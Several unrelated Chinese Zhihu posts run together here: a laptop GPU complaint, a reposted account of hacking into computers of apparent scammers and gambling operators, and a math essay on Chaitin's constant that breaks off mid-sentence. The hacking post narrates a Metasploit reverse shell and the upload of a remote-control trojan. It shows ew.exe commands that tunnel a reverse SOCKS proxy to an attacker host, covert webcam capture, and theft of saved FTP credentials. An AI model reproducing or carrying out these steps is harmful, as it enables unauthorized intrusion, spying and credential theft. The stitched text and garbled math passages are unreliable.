还有个解决方法是，用msi ab超频，因为msi ab的原理，独显会被强制默频启用，就不会卡了。但是弊端也很简单，功耗很高。&br&1066功耗28w 1078功耗64w。&br&其实我最想吐槽的是，笔记本真的是一分钱一分货，都是Optimus，1w的1066都是120hz+gsync。1070级别的显卡厂商自己也知道集显拖性能，所以集体弊掉集显，1060的本子，集显也拖性能，但厂商图省事就是不做纯独显。看看人家阿苏斯，看看人家蓝天。&br&以后还是买蓝天准吧，mbp也就自己改改驱动玩了……
还有个解决方法是，用msi ab超频，因为msi ab的原理，独显会被强制默频启用，就不会卡了。但是弊端也很简单，功耗很高。 1066功耗28w 1078功耗64w。 其实我最想吐槽的是，笔记本真的是一分钱一分货，都是Optimus，1w的1066都是120hz+gsync。1070…
&figure&&img src=&https://pic3.zhimg.com/v2-cd70626b1cef1020187feee44a457983_b.jpg& data-rawwidth=&400& data-rawheight=&225& class=&content_image& width=&400&&&/figure&&p&转自i春秋论坛，是个学习安全技术的好地方&/p&&a href=&https://link.zhihu.com/?target=https%3A//bbs.ichunqiu.com/forum.php%3Fmod%3Dviewthread%26tid%3D36120%26extra%3Dpage%253D1%26page%3D1& data-draft-node=&block& data-draft-type=&link-card& data-image=&https://pic4.zhimg.com/v2-93f98d08e26e19fdb4ae0dd31dea70db_ipico.jpg& data-image-width=&400& data-image-height=&400& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&对微信卖小电影的一次内网漫游_白帽子分享技术/思路_i春秋社区-分享你的技术，为安全加点温度&/a&&p&如果你只会看小电影，从来不分析H站技术原理，不思考背后上下游产业链，那我无话可说。&/p&&p&表面看起来只是个卖小视频的，背后却涉及到个人信息贩卖、账号群控、黑帽SEO、SPAM推广、挂马、诈骗、博彩站等，我虽沉迷色情，但是真的是为了研究技术。?&/p&&p&正文开始&/p&&hr&&p&&b&**0x01 我是如何拿到控制权的？**&/b& &/p&&p&这个问题我以后也许会说出来，但是目前不能说，因为影响太大了，通过这种手段攻破的电脑，基本都是骗子，BC，还有搞灰黑产的。 因为利用这个骚路子，让我看到了那些搞灰黑产的各种套路深啊。（虽然作者没说，但是懂的人看了自然懂，常见手法）&/p&&p&&b&**0x02 先看看微信卖小电影的**&/b& &/p&&p&通过msf反弹拿到的，我们在msf下输入screenshot可以对他进行截屏，并发送到我们的/root目录下&/p&&figure&&img src=&https://pic3.zhimg.com/v2-b66bf4a586fd5c489e16fc_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1020& data-rawheight=&661& class=&origin_image zh-lightbox-thumb& width=&1020& data-original=&https://pic3.zhimg.com/v2-b66bf4a586fd5c489e16fc_r.jpg&&&/figure&&p&然后为了方便控制，用下面的命令上传远控到他电脑上，并运行。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span& upload m.exe c:\\windows\\m.exe shell c:\windows\mr.exe
&/code&&/pre&&/div&&p&上线以后我们先看看内网情况。 ipconfig可以查看他本机的IP。&/p&&figure&&img src=&https://pic4.zhimg.com/v2-4a5672911ddeb48ac64fc8ad2a22f06f_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&678& data-rawheight=&403& class=&origin_image zh-lightbox-thumb& width=&678& data-original=&https://pic4.zhimg.com/v2-4a5672911ddeb48ac64fc8ad2a22f06f_r.jpg&&&/figure&&p&继续输入arp -a 查看他内网的其他电脑。 发现存在好多台电脑。&/p&&figure&&img src=&https://pic4.zhimg.com/v2-2d2fb4a9cb4ec3d296e8_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&673& data-rawheight=&407& class=&origin_image zh-lightbox-thumb& width=&673& data-original=&https://pic4.zhimg.com/v2-2d2fb4a9cb4ec3d296e8_r.jpg&&&/figure&&p&通过远控的文件管理功能可以看到，这家伙电脑里面到处都存了各种 不可描述.mp4 各位表哥先别留邮箱，我真的没下载他的小电影....真的没下...没下..ヾ(???ゞ)&/p&&figure&&img src=&https://pic2.zhimg.com/v2-fb8baec8cc89bcd2f73c69_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&798& data-rawheight=&429& class=&origin_image zh-lightbox-thumb& width=&798& data-original=&https://pic2.zhimg.com/v2-fb8baec8cc89bcd2f73c69_r.jpg&&&/figure&&figure&&img src=&https://pic3.zhimg.com/v2-67fb251ba7_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&793& data-rawheight=&430& class=&origin_image zh-lightbox-thumb& width=&793& data-original=&https://pic3.zhimg.com/v2-67fb251ba7_r.jpg&&&/figure&&figure&&img src=&https://pic2.zhimg.com/v2-1f4d4091ff_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&798& data-rawheight=&432& class=&origin_image zh-lightbox-thumb& width=&798& data-original=&https://pic2.zhimg.com/v2-1f4d4091ff_r.jpg&&&/figure&&p&&b&**0x03 反弹代理撸内网**&/b& &/p&&p&通过远控上传ew.exe 然后在本地执行：&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&ew.exe -s rcsocks -l 1008 -e 888
&/code&&/pre&&/div&&p&说明：监听888端口，把接收到的数据转到本地的1008端口。&/p&&figure&&img src=&https://pic1.zhimg.com/v2-fab6fb25df5834dbcd37e_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&677& data-rawheight=&438& class=&origin_image zh-lightbox-thumb& width=&677& data-original=&https://pic1.zhimg.com/v2-fab6fb25df5834dbcd37e_r.jpg&&&/figure&&p&在目标上执行&/p&&blockquote&ew.exe -s rssocks -d 10.10.10.10 -e 888 &/blockquote&&p&说明：开启sockes 并反弹到ip地址为10.10.10.10 端口为888 反弹代理成功以后，本地会出现rssocks cmd_socket ok!&/p&&figure&&img src=&https://pic3.zhimg.com/v2-48db9982cdecdeda007838_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&677& data-rawheight=&440& class=&origin_image zh-lightbox-thumb& width=&677& data-original=&https://pic3.zhimg.com/v2-48db9982cdecdeda007838_r.jpg&&&/figure&&p&现在打开我们的SocksCap64，新建一个代理。 ip为127.0.0.1端口为1008，配置好了以后，点击保存。 现在我们把需要走代理的工具都放到SocksCap64里面。&/p&&figure&&img src=&https://pic4.zhimg.com/v2-3b13eaa141b_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1021& data-rawheight=&530& class=&origin_image zh-lightbox-thumb& width=&1021& data-original=&https://pic4.zhimg.com/v2-3b13eaa141b_r.jpg&&&/figure&&p&现在我们扫描下他的内网 内网挨个打一发，发现了不得了的事情了。 打下的第一台电脑截屏如下，看到这么多QQ，一看就知道不正常了。&/p&&figure&&img src=&https://pic4.zhimg.com/v2-f6edaf63d63a1_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1577& data-rawheight=&789& class=&origin_image zh-lightbox-thumb& width=&1577& data-original=&https://pic4.zhimg.com/v2-f6edaf63d63a1_r.jpg&&&/figure&&p&上远控继续翻他文件&/p&&p&不用说了，有各种骗人的话术，还有通过远控发现他在骗人，证明这TMD就是个专业搞诈骗的。 这里科普下：&b&骗子基本都会有很多套话术，他和你聊天的时候，基本都是一条一条复制黏贴的，最后直到对方上当&/b&。&/p&&figure&&img src=&https://pic3.zhimg.com/v2-2c27c95cd0e033e7b82e85ab84b65acc_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1141& data-rawheight=&676& class=&origin_image zh-lightbox-thumb& width=&1141& data-original=&https://pic3.zhimg.com/v2-2c27c95cd0e033e7b82e85ab84b65acc_r.jpg&&&/figure&&p&我们在kali里面用命令webcam_list查看下他是否有摄像头。 图中可以看到，有摄像头。&/p&&figure&&img src=&https://pic4.zhimg.com/v2-902daa25ee8b449cbf99ea93a18d8c75_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&743& data-rawheight=&514& class=&origin_image zh-lightbox-thumb& width=&743& data-original=&https://pic4.zhimg.com/v2-902daa25ee8b449cbf99ea93a18d8c75_r.jpg&&&/figure&&p&继续输入&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&webcam_snap -i 1 -v fales
&/code&&/pre&&/div&&p&可以实现不开闪光灯偷偷利用他摄像头拍照，并发送到我们kali的/root目录下。 不过你会发现，摄像头被东西挡住了，太狡猾了。&/p&&figure&&img src=&https://pic4.zhimg.com/v2-aeb4f4fa30677bddd6a6c7b1a1227bf9_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1102& data-rawheight=&723& class=&origin_image zh-lightbox-thumb& width=&1102& data-original=&https://pic4.zhimg.com/v2-aeb4f4fa30677bddd6a6c7b1a1227bf9_r.jpg&&&/figure&&p&&br&&b&**0x04 有意思的来了**&/b& &/p&&p&又继续在内网撸了几台，大多数都是博彩的。&/p&&p&最后撸到一台，dir查看他桌面文件的时候，发现了一些扫描软件，你没猜错，这是个大黑阔。&/p&&figure&&img src=&https://pic4.zhimg.com/v2-04c9de4d82bfed53d933ba0f9ec1d6dc_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&814& data-rawheight=&630& class=&origin_image zh-lightbox-thumb& width=&814& data-original=&https://pic4.zhimg.com/v2-04c9de4d82bfed53d933ba0f9ec1d6dc_r.jpg&&&/figure&&p&还是老套路，上传远控并运行。 然后通过远控的文件管理翻下他文件，不得了..不得了，各种CMS的exp。&/p&&figure&&img src=&https://pic2.zhimg.com/v2-da9a1f6dcb2cdac28bc7_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&250& data-rawheight=&267& class=&content_image& width=&250&&&/figure&&p&顺便看看大黑阔的工具....&/p&&figure&&img src=&https://pic3.zhimg.com/v2-7bf8b7b6f95cdf65c69b_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&481& data-rawheight=&294& class=&origin_image zh-lightbox-thumb& width=&481& data-original=&https://pic3.zhimg.com/v2-7bf8b7b6f95cdf65c69b_r.jpg&&&/figure&&p&远控监视大黑阔电脑屏幕看看... 大黑阔看到这贴不要打我，我真的是不小心进来的...&/p&&figure&&img src=&https://pic4.zhimg.com/v2-6a49fc4971d1bed2534aad_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&589& data-rawheight=&411& class=&origin_image zh-lightbox-thumb& width=&589& data-original=&https://pic4.zhimg.com/v2-6a49fc4971d1bed2534aad_r.jpg&&&/figure&&p&翻文件的时候发现一个ftp软件，突然灵机一动..... 很多ftp软件都会保存你的用户名、密码、ip等等，方便你下次连接，但是这些配置信息一般都是在ftp软件的目录下的。&/p&&p&那么我们只要下载他的ftp软件所有文件下来..... 下载完以后，我们打开ftp看看，在站点列表里面有十几个ftp，登陆上去一看。 好家伙，全是博彩站.....&/p&&figure&&img src=&https://pic4.zhimg.com/v2-a6ab17fe499c9_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1062& data-rawheight=&826& class=&origin_image zh-lightbox-thumb& width=&1062& data-original=&https://pic4.zhimg.com/v2-a6ab17fe499c9_r.jpg&&&/figure&&p&&/p&
转自i春秋论坛，是个学习安全技术的好地方如果你只会看小电影，从来不分析H站技术原理，不思考背后上下游产业链，那我无话可说。表面看起来只是个卖小视频的，背…
&p&&img src=&//www.zhihu.com/equation?tex=%5Cpi& alt=&\pi& eeimg=&1&&
还是太naive了。我要是宇宙设计者，我就把信息藏在蔡廷常数里，这才是对人类最大的嘲讽。&/p&&p&蔡廷常数，其含义是找随机生成一段程序，这段程序不会陷入死循环的概率。可以证明这是一个确定存在的无理数，但是同样可以证明它是不可以被计算出来的。&/p&&p&实际上，能被计算出来的实数的集合是可数无穷的，所以说不能被计算出来的实数是可以计算出来的实数的无穷多倍。像 &img src=&//www.zhihu.com/equation?tex=%5Cpi& alt=&\pi& eeimg=&1&& 这种能计算出其中任意一位的实数是少之又少的。&/p&&p&而蔡廷常数属于不可被计算的实数中特殊的一类数，它不仅不能计算，而且除了知道它小于1大于0以外，就连它在小数点后任意一位，包括第一位，都是可以从理论上证明是无法计算出来的【注：此处不严谨，文末有说明】。&/p&&p&但是呢，这个数又被证明是确实存在的一个常数。所以，我，造物主，把宇宙的秘密藏在这个数里面，我明确的告诉你们人类这一点，而你们却无可奈何。&/p&&p&当然，碰巧我现在心情很好，所以我大发慈悲的告诉你们，我写在蔡廷常数里面的那句话就是：你们都是虫子&/p&&p&&br&&/p&&p&————————————————————————————————————————&/p&&p&&br&&/p&&p&ps：
&img src=&//www.zhihu.com/equation?tex=%5Cpi& alt=&\pi& eeimg=&1&&
是否是正规数，和它是否被编码了没有关系啊&/p&&p&&br&&/p&&p&&img src=&//www.zhihu.com/equation?tex=%5Cpi& alt=&\pi& eeimg=&1&&&b&的特殊性：&/b& &/p&&p&&img src=&//www.zhihu.com/equation?tex=%5Cpi& alt=&\pi& eeimg=&1&& 是个特殊的数，不仅在于其是周长与直径之比，如果这么定义的话，在一些非欧几何中，&img src=&//www.zhihu.com/equation?tex=%5Cpi& alt=&\pi& eeimg=&1&& 都不是常量，现在数学中使用的 &img src=&//www.zhihu.com/equation?tex=%5Cpi& alt=&\pi& eeimg=&1&& 的定义也已经脱离了其几何含义，而将其视为微分方程中的一个常量（回想下欧拉的那个上帝公式）&/p&&p&&br&&/p&&p&&img src=&//www.zhihu.com/equation?tex=%5Cpi& alt=&\pi& eeimg=&1&&&b& 编码的可能性： &/b&&/p&&p&&img src=&//www.zhihu.com/equation?tex=%5Cpi& alt=&\pi& eeimg=&1&&&b&是不是高票答案提到的正规数，和&/b& &img src=&//www.zhihu.com/equation?tex=%5Cpi& alt=&\pi& eeimg=&1&&&b&是否被特殊编码了没有关系&/b&，即使知道它是正规数，但是小说中提到的小数点后10^60 位突然出现大段的规律性编码（假设有的话），绝对是异常中的异常，因为一段长度为1000的异常编码，其期望出现的位置也应该在10^1000位之后，是穷尽整个宇宙的能量都算不出来的。&/p&&p&&b&（但是！但是！因为&/b& &img src=&//www.zhihu.com/equation?tex=%5Cpi& alt=&\pi& eeimg=&1&&&b& 是一个纯粹数学推理出来的产物，要能对&/b& &img src=&//www.zhihu.com/equation?tex=%5Cpi& alt=&\pi& eeimg=&1&&&b&编码，说明造物主能够任意控制这个世界的逻辑本身！这是多么难以想象的存在！）&/b&&/p&&p&&b&—————————————————————————————————————&/b&&/p&&p&&b&更新3：&/b&&/p&&p&这是第三次更新，因为看到评论区的留言，发现大家对蔡廷常数比较感兴趣，因此趁着端午佳节，来介绍一下为什么会存在不可计算的实数、蔡廷常数的历史渊源以及其重要意义。当然，这个内容就是纯粹的偏题了，若是你恰好有活动一下脑细胞的闲情雅致，则不妨慢慢看下去：&/p&&p&在ZFC公理体系下，实数可以分为以下几类：&/p&&ol&&li&存在但是不能被准确描述和定义的&/li&&li&能被准确的描述和定义，但是不能被计算出来的&/li&&li&能被计算出来的&/li&&/ol&&p&其中第1类的数量是后两类的无穷多倍。蔡廷常数属于第2类。 &img src=&//www.zhihu.com/equation?tex=%5Cpi& alt=&\pi& eeimg=&1&& 属于第3类。&/p&&p&希尔伯特在听说上面这个结论的时候，一定会回想起他在1900年向世界所有数学家提出直击数学家灵魂的希尔伯特23问的那个遥远的下午。&/p&&p&在工业革命之后，自然科学飞速发展，当物理学家高兴的宣布物理大厦已经建成，除了两朵乌云外晴空万里之时，数学家的世界则愁云惨淡：那些令人束手无策的难题不仅没变少，反而越来越多。当此之时，希尔伯特向全世界数学家提出了当时尚未解决但是他认为非常重要的23个问题：&/p&&p&其中第二个问题就是：证明算术公理的自洽性（consistency）。所谓自洽性，即一个公理体系内不应该存在矛盾，即不能存在一个命题，既能被证明又能被证伪。&/p&&p&第十个问题是：找到一个通用的算法，能解决所有的丢番图问题。&/p&&p&可以看出，虽然面临许多难题，当时的数学家还是天真的相信，一切的问题都是可以解决的，只是我们目前太弱而已。只要我们足够努力，在严格的定义和推导之下（公理化体系的建立，）我们终将可以提出一个完美的公理体系。而更乐观的数学家则相信，可以找到一个通用的算法，所有的命题都可以用这个算法来一步步的证明和证伪。&/p&&p&可惜这个美好愿景只是海市蜃楼，30年后，哥德尔提出了其不完备性理论打碎了数学家们的美梦：&/p&&ol&&li&任何一个复杂到包含了算数公理（即自然数）的公理体系，如果它是自洽的，则必然不是完备的，即必然存在一些命题，在此公理体系内部既不能被证明，又不能被证伪。&/li&&li&任何一个复杂到包含了算数公理（即自然数）的公理体系，其自洽性不能在该公理体系内部证明&/li&&/ol&&p&同时图灵也提出了通用的计算模型——现代计算机的理论基础——图灵机。图灵机上有一个很重要的问题是停机问题，因为很多数学定理的证明可以归约为停机问题。&/p&&p&那什么是停机问题呢？停机问题是说，是否存在一个算法，对于任意一个给定的程序和输入，该算法可以判断这个程序对于这个输入的运行是否会在有限时间内终止。通俗的说就是，你在电脑上运行一个程序，然后去判断这个程序会不会陷入死循环永远停不下来。&/p&&p&假如我们找到了解决停机问题的方法，那么几乎所有的数学问题都可以用这个方法求解了。也就是说，这些数学问题都可以归约到停机问题上。举个例子，著名的哥德巴赫猜想：任一大于2的偶数都可写成两个质数之和。我们可以构造一个程序，这个程序会从小到大的依次对每个偶数去计算它是否可以写成两个质数的和，如果不可以，则程序退出，如果可以，则继续去枚举下一个偶数。显然，哥德巴赫猜想成立当且仅当这个程序永远不会停止。&/p&&p&很可惜的是，图灵证明了，停机问题是不可计算的。停机问题的不可计算性存在一个很容易看懂的不很严谨的版本，在此简要证明如下（当然你也可以先跳过这个部分，因为虽然简单，不需要任何专业知识也能看懂，但是运气不好的话在这里卡上一个小时也是不出人意料的）：&/p&&p&用矛盾法证明：&/p&&p&假设存在一个程序 &img src=&//www.zhihu.com/equation?tex=H%28f%29& alt=&H(f)& eeimg=&1&& 可以对于任何一个程序 &img src=&//www.zhihu.com/equation?tex=f& alt=&f& eeimg=&1&& 判断其能否停机。那么我可以构造一个 &img src=&//www.zhihu.com/equation?tex=f& alt=&f& eeimg=&1&& ，将程序 &img src=&//www.zhihu.com/equation?tex=H& alt=&H& eeimg=&1&& 作为程序 &img src=&//www.zhihu.com/equation?tex=f& alt=&f& eeimg=&1&& 的子程序调用：&/p&&div class=&highlight&&&pre&&code class=&language-text&&如果H(f)返回的结果是停机：
进入死循环，永远不停机
&/code&&/pre&&/div&&p&可以看到，此时无论程序 &img src=&//www.zhihu.com/equation?tex=H%28f%29& alt=&H(f)& eeimg=&1&&的返回结果是停机还是不停机，都会导致矛盾。所以不存在能解决停机问题的通用程序。&/p&&p&证毕&/p&&p&&i&&b&如果你跳过了上述证明，你可以从这里开始看起：&/b&&/i&&/p&&p&实际上，可以进一步证明，不可计算的问题是可计算问题的无穷多倍。&/p&&p&不过需要特别说明的是，这里说的不可计算和我们通常理解的不可计算不是一个概念，可以说，这里讨论的不可计算比我们理解的不可计算“更加”不可计算。举个例子：&/p&&p&我们定义一个自然数X等于哥德巴赫猜想的真值，也就是说，如果哥德巴赫猜想为真，则X等于1，如果为假则X等于0。你可能会认为，如果能证明哥德巴赫猜想属于上面提到的既不能被证明也不能被证伪的命题，那么X就是不能被计算的了。这个想法是不对的。这里讨论的可计算性是，存在一个图灵机（或者说存在一个算法），能输出X的值，那么X就是可以计算的。显然，存在一个可以输出0的图灵机，同时存在一个可以输出1的图灵机，所以X必定可以被其中1个图灵机计算，只是我们不知道具体是哪个图灵机而已。&/p&&p&而我们所要讨论的不可计算的实数，则是说，不存在任何一个已知或未知的图灵机（或者说算法），能输出它的值。&/p&&p&ok，如果你一路辛勤的阅读至此，那么恭喜你，你已经完成了理解蔡廷的常数所需要的铺垫了，在此基础上，我们来看一个蔡廷常数的简单版例子：&/p&&p&首先，我们来把所有程序依次编号为1,2,3,4...，然后我们来定义一个实数X如下：X是一个大于0小于1的实数，用二进制表示，其小数点第i位等于1仅当第i个程序能在有限步内停机，否则等于0。&/p&&p&这也就是说，X的小数点后第i位的数字，对应了第i个停机问题的答案。用柯西序列可以证明这个实数是良定义的。如果我们能计算出X的值，那么数学的天空就会一片晴朗，因为非常多的数学问题都可以像上述的哥德巴赫猜想问题一样归约为某一个停机问题，面临这样的问题时，我们只需要查一下X的值就可以找到答案。X这个数字是如此神奇，以至于我怀疑当年Borel提出这个数字时他自己也在怀疑其可计算性吧。当然后来的事情我们都知道了，图灵证明了不存在一个算法能解决所有停机问题，而能计算出这个数字就等于能解决了所有停机问题，所以可以反证出不存在一个算法能计算出这个数字。&/p&&p&在计算理论里面，有一个衡量一个数字的信息量的指标叫做Kolmogorove Complexity，其含义是算出这个数字所需要的最短的程序（或者说算法）的长度。很显然，所有的有理数的信息量都是有限的，所有的代数无理数的信息量也是有限的，而对于超越数来说，存在像 &img src=&//www.zhihu.com/equation?tex=%5Cpi& alt=&\pi& eeimg=&1&& 这样的数字，其信息量也是很少的，因为可以用一个很短的程序就可以做到输出 &img src=&//www.zhihu.com/equation?tex=%5Cpi& alt=&\pi& eeimg=&1&& 的任意一位。但是，大多数超越数的信息量是无穷，例如上面提到的X。这意味着不存在任何一个有限长的算法可以计算出它的值。&/p&&p&看到这里，较真的读者可能会表示怀疑，这个X真的存在吗？上面的定义真的能准确无误的定义出一个实数吗？这个疑问是合理的，比如我用 &img src=&//www.zhihu.com/equation?tex=y%5E2%3D-1& alt=&y^2=-1& eeimg=&1&& 来定义的y就不是实数而是复数，或者是，如果我定义y为第一个大于2且不能被写作两个质数的和的正整数，这个正整数存在的前提是哥德巴赫猜想为假，如果哥德巴赫猜想为真或不能证明其真假，则这个数字不是良定义的。因此，下面简要说明一下为什么上文提到的X是良定义的实数：&/p&&p&首先读者要有心理准备，无理数之所以是无理数，是因为它看起来的确不讲道理，让人难以理解，因此对此不感兴趣的读者可以直接跳过这一节。ok，废话不多说，正式开始介绍：&/p&&p&在我们讨论实数时，需要对什么是实数达成共识。实数的定义有很多种，每种都不是那么直观，在此我准备用柯西序列（学过高数的人肯定有印象）来构造实数。柯西序列是指这样一个无穷长的数列，它的元素随着序数的增加而愈发靠近。更确切地说，在去掉有限个元素后，可以使得余下的元素中任何两点间的距离的最大值不超过任意给定的正数。例如下图就是一个例子：&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-db2fefb4bbf125b3236a26_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1280& data-rawheight=&896& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&https://pic1.zhimg.com/50/v2-db2fefb4bbf125b3236a26_r.jpg&&&/figure&&p&通过上图可以直观的看到，柯西序列最后会慢慢慢慢的越来越接近一个数字，无穷的接近一个数字，这时我们说，柯西序列收敛到了一个特定的数字。&/p&&p&对于柯西序列正式的定义是，对于有理数序列 &img src=&//www.zhihu.com/equation?tex=x_1%2C+x_2%2C+x_3........& alt=&x_1, x_2, x_3........& eeimg=&1&& ，对于任意一个确定的 &img src=&//www.zhihu.com/equation?tex=%5Cepsilon& alt=&\epsilon& eeimg=&1&& ，总是存在一个正整数 &img src=&//www.zhihu.com/equation?tex=N& alt=&N& eeimg=&1&& ，使得对于任意的正整数 &img src=&//www.zhihu.com/equation?tex=n%2Cm& alt=&n,m& eeimg=&1&& ，如果 &img src=&//www.zhihu.com/equation?tex=n%E5%92%8Cm& alt=&n和m& eeimg=&1&& 均大于 &img src=&//www.zhihu.com/equation?tex=N& alt=&N& eeimg=&1&& ，则必有 &img src=&//www.zhihu.com/equation?tex=%7Cx_n-x_m%7C%3C%5Cepsilon& alt=&|x_n-x_m|&\epsilon& eeimg=&1&& 。&/p&&p&用有理数构造实数的方法，就是定义一个柯西序列，柯西序列每一个点都是有理数，但是最后却会收敛到一个实数上。&/p&&p&一个典型的例子是0.618....的那个黄金分割比，用柯西序列来定义就是： &img src=&//www.zhihu.com/equation?tex=x_n%3D%5Cfrac%7BF_n%7D%7BF_%7Bn-1%7D%7D& alt=&x_n=\frac{F_n}{F_{n-1}}& eeimg=&1&& ，其中 &img src=&//www.zhihu.com/equation?tex=F_%7Bn%7D& alt=&F_{n}& eeimg=&1&& 表示斐波那契数列的第n项。可以解得这个柯西序列收敛到 &img src=&//www.zhihu.com/equation?tex=%5Cfrac%7B1%2B%5Csqrt%7B5%7D%7D%7B2%7D& alt=&\frac{1+\sqrt{5}}{2}& eeimg=&1&&&/p&&p&（以上柯西序列的定义摘自维基百科：&/p&&p&&a href=&//link.zhihu.com/?target=https%3A//zh.wikipedia.org/wiki/%25E6%259F%25AF%25E8%25A5%25BF%25E5%25BA%258F%25E5%& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&zh.wikipedia.org/wiki/%&/span&&span class=&invisible&&E6%9F%AF%E8%A5%BF%E5%BA%8F%E5%88%97&/span&&span class=&ellipsis&&&/span&&/a&）&/p&&p&&br&&/p&&p&柯西序列是可以相加减的，两个柯西序列相加得到的新的柯西序列的第i个数字就等于原柯西序列的第i个数字的相加和。减法乘法同理。&/p&&p&用这个原理可以很容易证明1和0.........这两个数字是相等的。&/p&&p&我们首先写出1的柯西序列：&/p&&p&1 1 1 1 1 1
....&/p&&p&然后写出0.99999.....的柯西序列：&/p&&p&0.9 0.99 0.999 0.9999 .......&/p&&p&然后用前者减去后者可得：&/p&&p&0.1 0.01 0.001 0.0001 ......&/p&&p&可以看到新得到的柯西序列是收敛到0的，因此1和0.........这两个数字是相等的。&/p&&p&好，了解了如何用柯西序列来定义实数，我们就可以开始证明Borel的X是实数了。&/p&&p&首先我们定义 &img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&& 对应的数列的第 &img src=&//www.zhihu.com/equation?tex=n& alt=&n& eeimg=&1&& 项 &img src=&//www.zhihu.com/equation?tex=x_n& alt=&x_n& eeimg=&1&& 为一个二进制下 &img src=&//www.zhihu.com/equation?tex=n& alt=&n& eeimg=&1&& 位的有理数，其构造方式如下：将 &img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&& 的前 &img src=&//www.zhihu.com/equation?tex=n& alt=&n& eeimg=&1&& 位对应的总共 &img src=&//www.zhihu.com/equation?tex=n& alt=&n& eeimg=&1&& 个程序都拿出来，对于每个程序，我们执行 &img src=&//www.zhihu.com/equation?tex=n& alt=&n& eeimg=&1&& 步，如果第 &img src=&//www.zhihu.com/equation?tex=i& alt=&i& eeimg=&1&& 个程序在前 &img src=&//www.zhihu.com/equation?tex=n& alt=&n& eeimg=&1&& 步内终止了，则令 &img src=&//www.zhihu.com/equation?tex=x_n& alt=&x_n& eeimg=&1&& 的第 &img src=&//www.zhihu.com/equation?tex=i& alt=&i& eeimg=&1&& 位为1，否则为0.&/p&&p&现在我们来证明上面的确定义了一个柯西序列：不失一般性的，令 &img src=&//www.zhihu.com/equation?tex=%5Cepsilon%3D10%5E%7B-c%7D& alt=&\epsilon=10^{-c}& eeimg=&1&& ，其中 &img src=&//www.zhihu.com/equation?tex=c& alt=&c& eeimg=&1&& 是正整数，则定义整数 &img src=&//www.zhihu.com/equation?tex=N& alt=&N& eeimg=&1&& 为前 &img src=&//www.zhihu.com/equation?tex=c& alt=&c& eeimg=&1&& 个程序中，最终会停机的那些程序里面，最长的到达停机状态的步数。换言之，必然存在一个正整数&img src=&//www.zhihu.com/equation?tex=N& alt=&N& eeimg=&1&&，使得对于前 &img src=&//www.zhihu.com/equation?tex=c& alt=&c& eeimg=&1&& 个程序中的任意一个最终会停机的程序，在执行&img src=&//www.zhihu.com/equation?tex=N& alt=&N& eeimg=&1&&步之后，都会停机。令 &img src=&//www.zhihu.com/equation?tex=X_c& alt=&X_c& eeimg=&1&& 表示取 &img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&& 的前 &img src=&//www.zhihu.com/equation?tex=c& alt=&c& eeimg=&1&& 位得到的有理数，可以看到，对于任何的 &img src=&//www.zhihu.com/equation?tex=n%3EN& alt=&n&N& eeimg=&1&& ，都有 &img src=&//www.zhihu.com/equation?tex=X_c+%5Cleq+x_n+%5Cleq+X& alt=&X_c \leq x_n \leq X& eeimg=&1&& ，又由于 &img src=&//www.zhihu.com/equation?tex=%7CX-X_c%7C%5Cleq+%5Cepsilon& alt=&|X-X_c|\leq \epsilon& eeimg=&1&& ，所以这是一个柯西序列&/p&&p&所以 &img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&& 是一个良定义的实数，证毕&/p&&p&&br&&/p&&p&细心的读者可能会发现，用上面定义柯西序列的方法不就可以求解出&img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&&了吗，这那为啥还说它是不可计算的？这不是矛盾了吗？&/p&&p&问的好。用上面的方法的确可以保证得到&img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&&的任意多位的值，但是，如果真的用上面的流程来计算&img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&&的话，我们永远没有办法知道什么时候自己手里的答案是正确的，而只能知道从某个时刻开始我们手里的答案就一直是正确的。&/p&&p&这么说可能比较抽象，举个例子就清楚了，例如我给你一个箱子，里面装了无数个球，每个球有个编号，编号是从1开始的自然数，我告诉你里面有3红球，剩下的都是白球，你每次可以从中拿出一个你指定的编号的球，请你设计算法找出3个红球。此时你的做法可以很简单：你就依次取出第1个球，第2个球，第3个球。。。直到你取出了3个红球为止。假设三个红球中编号最大的为W，你虽然不知道W是多少，但是你知道你的算法最后一定会在有限步内终止。&/p&&p&而假如同样的例子里，我告诉你里面最多有4个红球，但是不告诉你确切有几个，请你找出里面的全部红球。此时你就无能为力了，你可以一直找下去，直到找到4个红球，你就可以确定完成任务了，但是如果假设总共只有3个红球，那你就只能永远的找下去了，尽管你知道必定存在一个有限的时刻，在这个时刻之后你已经拿到了所有红球，但你永远也不知道你自己当前是在这个时刻之前还是之后。&/p&&p&向 &img src=&//www.zhihu.com/equation?tex=X& alt=&X& eeimg=&1&& 这样可以用有理数从数轴左侧无限逼近的数，叫做left enumerable computable real number(left c.e. real)，同理，那些可以用有理数从数轴右侧无限逼近的数，叫做right c.e. real。很显然，如果一个数既是left c.e. real也是right c.e. 